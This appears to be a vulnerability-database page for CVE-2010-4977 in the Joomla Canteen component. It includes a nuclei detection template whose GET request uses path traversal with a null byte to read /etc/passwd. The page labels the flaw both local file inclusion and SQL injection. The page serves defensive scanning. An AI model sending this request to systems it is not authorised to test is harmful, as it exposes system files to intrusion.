HexBrain

Browse / CVEs / CVE-2010-4977

CVE-2010-4977· miniwork / com canteen· CWE-89

Joomla! Component Canteen 1.0 - Local File Inclusion

highseverity
7.5CVSS score
15.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A SQL injection vulnerability in menu.php in the Canteen (com_canteen) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the mealid parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-4977 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-4977

info:
  name: Joomla! Component Canteen 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A SQL injection vulnerability in menu.php in the Canteen (com_canteen) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the mealid parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34250
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4977
    - http://www.salvatorefresta.net/files/adv/Canteen%20Joomla%20Component%201.0%20Multiple%20Remote%20Vulnerabilities-04072010.txt
    - http://packetstormsecurity.org/1007-exploits/joomlacanteen-lfisql.txt
    - http://securityreason.com/securityalert/8495
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-4977
    cwe-id: CWE-89
    epss-score: 0.15251
    epss-percentile: 0.9679
    cpe: cpe:2.3:a:miniwork:com_canteen:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: miniwork
    product: com_canteen
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,miniwork,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from